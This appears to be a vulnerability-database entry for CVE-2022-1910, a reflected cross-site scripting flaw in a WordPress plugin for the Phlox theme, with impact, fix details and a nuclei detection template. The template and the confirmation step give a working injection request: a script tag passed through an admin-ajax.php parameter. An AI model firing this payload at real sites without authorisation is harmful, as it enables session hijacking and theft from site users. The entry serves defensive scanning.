HexBrain

Browse / CVEs / CVE-2022-1910

CVE-2022-1910· averta / shortcodes and extra features for phlox theme· CWE-79

WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

WordPress Shortcodes and extra features plugin for the Phlox theme before 2.9.8 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Shortcodes and Extra Features for Phlox plugin (2.9.8 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)…
Positive when: contains "widget-title\"><script>alert(document.domain)</script></h3>" and "aux-widget" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1910 -u <target>

The full check
id: CVE-2022-1910

info:
  name: WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Shortcodes and extra features plugin for the Phlox theme before 2.9.8 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Shortcodes and Extra Features for Phlox plugin (2.9.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8afe1638-66fa-44c7-9d02-c81573193b47
    - https://wordpress.org/plugins/auxin-elements/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1910
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1910
    cwe-id: CWE-79
    epss-score: 0.01436
    epss-percentile: 0.73334
    cpe: cpe:2.3:a:averta:shortcodes_and_extra_features_for_phlox_theme:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: averta
    product: shortcodes_and_extra_features_for_phlox_theme
    framework: wordpress
  tags: cve,cve2022,wordpress,xss,auxin-elements,wpscan,wp-plugin,wp,averta,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'widget-title"><script>alert(document.domain)</script></h3>'
          - 'aux-widget'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from